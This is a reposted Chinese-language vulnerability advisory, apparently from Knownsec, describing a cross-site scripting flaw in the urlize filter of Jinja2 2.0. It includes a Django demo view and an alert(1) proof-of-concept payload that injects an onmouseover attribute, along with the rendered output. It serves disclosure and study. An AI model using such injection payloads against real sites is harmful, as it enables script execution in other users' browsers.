记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

Jinja2 2.0 /utils.py urlize vulnerability

2014-11-01 01:15

jinja-logo (1)

 

@author=evi1m0#knownsec

1. Jinja2

Jinja2(http://jinja.pocoo.org/)是基于python的模板引擎,功能比较类似于于PHP的smarty,J2ee的Freemarker和velocity。 它能完全支持unicode,并具有集成的沙箱执行环境,应用广泛。

2. Description

问题出现在Jinja2(https://github.com/mitsuhiko/jinja2/tree/2.0) 2.0版本中,其中对urlize处理不当导致模板层使用处存在跨站脚本漏洞的产生。

3. Vulnerability

漏洞文件 /jinja2/utils.py 157-198:

7B0D804F-8131-44CA-9929-F0719C2421A4

 

words = _word_split_re.split(text) 对传值text进行简单的正则处理,_word_split_re = re.compile(r'(\s+)')。

随后words进入循环for i, word in enumerate(words)处理后return u''.join(words)。

4. demo

views.py:
def testtest(request):
text = request.GET['test']
return render(request, 'test.html', {'text': text})

temp.html:
{{ text | urlize }}

 

GET: http://localhost/?test=test@knownsec.com"/onmouseover=alert(1)//

jinja2_2_0_urlize_alert

django views.py print:

Django version 1.6.1, using settings 'fuzzing.settings'
Starting development server at http://0.0.0.0:8000/
Quit the server with CONTROL-C.
[u'<a href="mailto:test@knownsec.com"/onmouseover=alert(1)//">test@knownsec.com"/onmouseover=alert(1)//</a>']

5. fix

Update


知识来源: blog.knownsec.com/2014/10/jinja2-2-0-utils-py-urlize-vulnerability/

阅读:86134 | 评论:0 | 标签:漏洞通告

想收藏或者和大家分享这篇好文章→复制链接地址

“Jinja2 2.0 /utils.py urlize vulnerability”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

❤人人都能成为掌握黑客技术的英雄⛄️

ADS

标签云